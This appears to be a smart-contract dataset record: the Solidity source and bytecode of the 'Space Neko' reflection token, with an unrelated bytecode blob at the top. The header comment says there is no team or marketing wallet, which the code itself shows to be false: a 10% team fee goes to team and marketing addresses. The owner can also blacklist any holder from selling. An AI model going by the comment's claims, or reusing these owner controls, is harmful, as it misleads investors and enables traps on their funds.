0x608060405234801561001057600080fd5b50600436106100365760003560e01c80632dc4a03f1461003b57806372bbe04714610064575b600080fd5b61004e610049366004610132565b610075565b60405161005b919061014a565b60405180910390f35b60005460405190815260200161005b565b60606000828154811061009857634e487b7160e01b600052603260045260246000fd5b9060005260206000200180546100ad9061019d565b80601f01602080910402602001604051908101604052809291908181526020018280546100d99061019d565b80156101265780601f106100fb57610100808354040283529160200191610126565b820191906000526020600020905b81548152906001019060200180831161010957829003601f168201915b50505050509050919050565b600060208284031215610143578081fd5b5035919050565b6000602080835283518082850152825b818110156101765785810183015185820160400152820161015a565b818111156101875783604083870101525b50601f01601f1916929092016040019392505050565b600181811c908216806101b157607f821691505b602082108114156101d257634e487b7160e01b600052602260045260246000fd5b5091905056fea2646970667358221220778201593027cfb244bc8d4c9cc406613396a2165cf2172ed53f66469a73aa7964736f6c63430008040033
|
{"success": true, "error": null, "results": {}}
| 5,734 |
0xF18276Bd2E5eC7279980C520160328dA2E4A5042
|
/**
*
Space Neko ($SNEKO)
Name: Space Neko
Symbol: SNEKO
Total Supply: 1,000,000,000,000
Decimals: 9
Developer provides LP
30% Burn, 70% LP
Locked LP
No Presale
No Team Tokens
- Buy Limit: 0.1% for first 5 minutes.
- Cooldown: 45 seconds to prevent multiple buying in one block.
1. Buy limit and cooldown timer on buys to make sure no automated bots have a chance to snipe big portions of the pool.
2. No Team & Marketing wallet. 100% of the tokens will come on the market for trade.
3. No presale wallets that can dump on the community.
https://t.me/SpaceNekoCoin
https://SpaceNekoCoin.com
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract SPACENEKO is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Space Neko";
string private constant _symbol = "SNEKO";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (45 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function startTrading() external onlyOwner() {
require(!tradingOpen, "trading is already started");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461033b578063a9059cbb14610366578063c3c8cd80146103a3578063d543dbeb146103ba578063dd62ed3e146103e357610113565b80636fc3eaec146102a557806370a08231146102bc578063715018a6146102f95780638da5cb5b1461031057610113565b806323b872dd116100dc57806323b872dd146101d4578063293230b814610211578063313ce567146102285780635932ead1146102535780636b9990531461027c57610113565b8062b8cf2a1461011857806306fdde0314610141578063095ea7b31461016c57806318160ddd146101a957610113565b3661011357005b600080fd5b34801561012457600080fd5b5061013f600480360381019061013a9190612a3c565b610420565b005b34801561014d57600080fd5b50610156610570565b6040516101639190612edd565b60405180910390f35b34801561017857600080fd5b50610193600480360381019061018e9190612a00565b6105ad565b6040516101a09190612ec2565b60405180910390f35b3480156101b557600080fd5b506101be6105cb565b6040516101cb919061307f565b60405180910390f35b3480156101e057600080fd5b506101fb60048036038101906101f691906129b1565b6105dc565b6040516102089190612ec2565b60405180910390f35b34801561021d57600080fd5b506102266106b5565b005b34801561023457600080fd5b5061023d610c11565b60405161024a91906130f4565b60405180910390f35b34801561025f57600080fd5b5061027a60048036038101906102759190612a7d565b610c1a565b005b34801561028857600080fd5b506102a3600480360381019061029e9190612923565b610ccc565b005b3480156102b157600080fd5b506102ba610dbc565b005b3480156102c857600080fd5b506102e360048036038101906102de9190612923565b610e2e565b6040516102f0919061307f565b60405180910390f35b34801561030557600080fd5b5061030e610e7f565b005b34801561031c57600080fd5b50610325610fd2565b6040516103329190612df4565b60405180910390f35b34801561034757600080fd5b50610350610ffb565b60405161035d9190612edd565b60405180910390f35b34801561037257600080fd5b5061038d60048036038101906103889190612a00565b611038565b60405161039a9190612ec2565b60405180910390f35b3480156103af57600080fd5b506103b8611056565b005b3480156103c657600080fd5b506103e160048036038101906103dc9190612acf565b6110d0565b005b3480156103ef57600080fd5b5061040a60048036038101906104059190612975565b611219565b604051610417919061307f565b60405180910390f35b6104286112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ac90612fdf565b60405180910390fd5b60005b815181101561056c576001600a6000848481518110610500577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061056490613395565b9150506104b8565b5050565b60606040518060400160405280600a81526020017f5370616365204e656b6f00000000000000000000000000000000000000000000815250905090565b60006105c16105ba6112a0565b84846112a8565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105e9848484611473565b6106aa846105f56112a0565b6106a5856040518060600160405280602881526020016137b860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061065b6112a0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c329092919063ffffffff16565b6112a8565b600190509392505050565b6106bd6112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461074a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074190612fdf565b60405180910390fd5b600f60149054906101000a900460ff161561079a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079190612f1f565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061082a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a8565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561087057600080fd5b505afa158015610884573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a8919061294c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561090a57600080fd5b505afa15801561091e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610942919061294c565b6040518363ffffffff1660e01b815260040161095f929190612e0f565b602060405180830381600087803b15801561097957600080fd5b505af115801561098d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b1919061294c565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a3a30610e2e565b600080610a45610fd2565b426040518863ffffffff1660e01b8152600401610a6796959493929190612e61565b6060604051808303818588803b158015610a8057600080fd5b505af1158015610a94573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ab99190612af8565b5050506001600f60166101000a81548160ff0219169083151502179055506000600f60176101000a81548160ff021916908315150217905550678ac7230489e800006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610bbb929190612e38565b602060405180830381600087803b158015610bd557600080fd5b505af1158015610be9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c0d9190612aa6565b5050565b60006009905090565b610c226112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610caf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca690612fdf565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b610cd46112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5890612fdf565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dfd6112a0565b73ffffffffffffffffffffffffffffffffffffffff1614610e1d57600080fd5b6000479050610e2b81611c96565b50565b6000610e78600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d91565b9050919050565b610e876112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0b90612fdf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f534e454b4f000000000000000000000000000000000000000000000000000000815250905090565b600061104c6110456112a0565b8484611473565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110976112a0565b73ffffffffffffffffffffffffffffffffffffffff16146110b757600080fd5b60006110c230610e2e565b90506110cd81611dff565b50565b6110d86112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611165576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115c90612fdf565b60405180910390fd5b600081116111a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119f90612f9f565b60405180910390fd5b6111d760646111c983683635c9adc5dea000006120f990919063ffffffff16565b61217490919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120e919061307f565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611318576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130f9061303f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611388576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137f90612f5f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611466919061307f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114da9061301f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611553576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154a90612eff565b60405180910390fd5b60008111611596576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158d90612fff565b60405180910390fd5b61159e610fd2565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160c57506115dc610fd2565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b6f57600f60179054906101000a900460ff161561183f573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168e57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e85750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117425750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183e57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117886112a0565b73ffffffffffffffffffffffffffffffffffffffff1614806117fe5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e66112a0565b73ffffffffffffffffffffffffffffffffffffffff16145b61183d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118349061305f565b60405180910390fd5b5b5b60105481111561184e57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f25750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fb57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a65750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fc5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a145750600f60179054906101000a900460ff165b15611ab55742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6457600080fd5b602d42611a7191906131b5565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac030610e2e565b9050600f60159054906101000a900460ff16158015611b2d5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b455750600f60169054906101000a900460ff165b15611b6d57611b5381611dff565b60004790506000811115611b6b57611b6a47611c96565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c165750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2057600090505b611c2c848484846121be565b50505050565b6000838311158290611c7a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c719190612edd565b60405180910390fd5b5060008385611c899190613296565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce660028461217490919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d11573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6260028461217490919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8d573d6000803e3d6000fd5b5050565b6000600654821115611dd8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dcf90612f3f565b60405180910390fd5b6000611de26121eb565b9050611df7818461217490919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5d577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8b5781602001602082028036833780820191505090505b5090503081600081518110611ec9577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6b57600080fd5b505afa158015611f7f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa3919061294c565b81600181518110611fdd577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204430600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a8565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a895949392919061309a565b600060405180830381600087803b1580156120c257600080fd5b505af11580156120d6573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210c576000905061216e565b6000828461211a919061323c565b9050828482612129919061320b565b14612169576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216090612fbf565b60405180910390fd5b809150505b92915050565b60006121b683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612216565b905092915050565b806121cc576121cb612279565b5b6121d78484846122aa565b806121e5576121e4612475565b5b50505050565b60008060006121f8612487565b9150915061220f818361217490919063ffffffff16565b9250505090565b6000808311829061225d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122549190612edd565b60405180910390fd5b506000838561226c919061320b565b9050809150509392505050565b600060085414801561228d57506000600954145b15612297576122a8565b600060088190555060006009819055505b565b6000806000806000806122bc876124e9565b95509550955095509550955061231a86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123af85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259b90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fb816125f9565b61240584836126b6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612462919061307f565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124bd683635c9adc5dea0000060065461217490919063ffffffff16565b8210156124dc57600654683635c9adc5dea000009350935050506124e5565b81819350935050505b9091565b60008060008060008060008060006125068a6008546009546126f0565b92509250925060006125166121eb565b905060008060006125298e878787612786565b9250925092508282828